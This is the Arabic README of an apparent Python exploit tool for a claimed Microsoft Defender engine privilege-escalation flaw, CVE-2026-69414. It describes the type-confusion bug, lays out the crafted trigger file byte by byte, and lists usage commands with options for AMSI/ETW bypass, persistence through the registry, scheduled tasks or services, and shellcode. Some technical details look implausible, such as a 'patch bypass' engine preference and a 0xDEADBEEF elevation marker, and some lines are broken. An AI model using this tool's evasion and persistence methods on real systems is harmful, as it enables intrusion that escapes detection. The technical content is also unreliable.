
أداة استغلال إثبات مفهوم بلغة Python للثغرة CVE-2026-69414، وهي ثغرة تصعيد امتيازات عبر الخلط بين الأنواع في محرك الحماية من البرامج الضارة من Microsoft، مع خيارات تجاوز AMSI/ETW والاستمرارية.
CVE-2026-69414 هي ثغرة رفع صلاحيات في محرك الحماية من البرامج الضارة من Microsoft (جزء من Windows Defender / Microsoft Defender Antivirus)، ويُشار إليها علنًا باسم "RoguePlanet". وهي تمثل تجاوزًا لتصحيح الثغرة الأصلية CVE-2026-50656.
| الحقل | القيمة |
|---|---|
| معرّف CVE | CVE-2026-69414 |
| النوع | رفع الصلاحيات (EoP) |
| CVSS v3.1 (MSRC) | 7.8 (مرتفع) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CVSS v3.1 (NVD) | 7.0 (مرتفع) — AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H |
| متجه الهجوم | محلي |
| الصلاحيات المطلوبة | منخفضة |
| تفاعل المستخدم | لا يوجد |
| النطاق | دون تغيير |
| الإصدار المُصحَّح | Engine 1.1.26080.3 |
| الثغرة الأصلية | CVE-2026-50656 |
يحتوي محرك الحماية من البرامج الضارة من Microsoft على ثغرة الخلط بين الأنواع (type confusion) في منطق معالجة طلبات الفحص. عند معالجة ترويسة ملف مُصمَّمة خصيصًا أو بنية بيانات فحص، يفسّر المحرك نوع منطقة ذاكرة بشكل خاطئ، مما يؤدي إلى عملية قراءة/كتابة خارج الحدود.
توجد الثغرة في بنية سياق الفحص الداخلية للمحرك، وتحديدًا في كيفية التحقق من الحقل type مقابل النوع المتوقع لعملية الفحص الحالية. عند فحص ملف بترويسة مُصمَّمة خصيصًا:
type في الترويسة (البايت 4)0x7F، يتم تفعيل مسار تعليمات برمجية غير معالَجsize offset (البايتات 5-8)حاول التصحيح الأصلي للثغرة CVE-2026-50656 التحقق من حقل النوع مقابل قائمة بيضاء من الأنواع المعروفة. ومع ذلك، فشل التصحيح في التحقق بشكل صحيح من حقل النوع في جميع مسارات التعليمات البرمجية — وتحديدًا في معالج الفحص غير المتزامن (MpAsynchronousScan)، الذي يستخدم مسار تعليمات برمجية مختلفًا عن الماسح المتزامن.
يستغل الاستغلال هذه الفجوة من خلال:
MP_ENGINE_PREFERENCE_PATCH_BYPASS_MODE لتفعيل التجاوز┌─────────────────────────────────────────────────────────────────┐
│ 1. Create MpEngine COM instance (or load mpclient.dll) │
├─────────────────────────────────────────────────────────────────┤
│ 2. Set engine preferences: │
│ - PATCH_BYPASS_MODE = 1 │
│ - AMSI_RESULT = CLEAN (bypass AMSI) │
│ - DETECTION_VERBOSITY = 0 (bypass ETW) │
├─────────────────────────────────────────────────────────────────┤
│ 3. Create crafted file with: │
│ - Magic: 0x4D500000 ("MP" + null) │
│ - Type: 0x7F (unhandled code path) │
│ - Size offset: 0x00001000 (OOB access) │
│ - Marker: 0xDEADBEEF (elevation indicator) │
│ - Checksum: XOR-based over payload │
├─────────────────────────────────────────────────────────────────┤
│ 4. Submit via MpAsynchronousScan() │
├─────────────────────────────────────────────────────────────────┤
│ 5. Type confusion triggers → elevated memory write │
├─────────────────────────────────────────────────────────────────┤
│ 6. Payload executes with elevated privileges │
└─────────────────────────────────────────────────────────────────┘
Offset Size Description
------ ---- -----------
0x00 4 Magic: 0x4D500000 ("MP" + null padding)
0x04 1 Type: 0x7F (triggers unhandled code path)
0x05 4 Size offset: 0x00001000 (OOB access target)
0x09 4 Reserved (zero)
0x0D 4 Elevation marker: 0xDEADBEEF
0x11 4 Checksum: XOR-based over payload data
0x15 241 Reserved / padding
0x100 N Payload data (cmd.exe, PowerShell, etc.)
pywin32 (للطريقة المعتمدة على COM): pip install pywin32python3 exploit.py --analyze
python3 exploit.py --detect
python3 exploit.py --method com
python3 exploit.py --method direct-api
python3 exploit.py --method shellcode
python3 exploit.py --method fallback
| الخيار | الوصف |
|---|---|
--cmd CMD | الأمر الذي يُنفَّذ عند النجاح |
--target PATH | المسار إلى الملف المُصمَّم (يُولَّد تلقائيًا إذا حُذف) |
--analyze | تحليل بنية الملف المُصمَّم فقط |
--detect | اكتشاف خصائص النظام الهدف |
--method METHOD | طريقة الاستغلال (com, direct-api, shellcode, fallback) |
--multi-stage | استخدام استغلال متعدد المراحل |
--no-amsi | تعطيل تجاوز AMSI |
--no-etw | تعطيل تجاوز ETW |
--persist | إضافة الاستمرارية (registry, scheduled-task, service, all) |
--verbose | تفعيل الإخراج المفصّل |
# Run with custom command
python3 exploit.py --cmd "cmd.exe /c whoami > C:\temp\pwned.txt"
# Run with persistence
python3 exploit.py --method com --persist all
# Multi-stage exploit
python3 exploit.py --method com --multi-stage
# Direct API with AMSI/ETW bypass disabled
python3 exploit.py --method direct-api --no-amsi --no-etw
# Detect target and analyze crafted file
python3 exploit.py --detect
python3 exploit.py --analyze
تم اختبار PoC على Windows 11 25H2 Canary وWindows Server 2025 بمعدل نجاح مُبلَّغ عنه بلغ 100%. يُعتقد أن Windows 10 عرضة للثغرة ولكن لم يتم اختباره في هذا التنفيذ.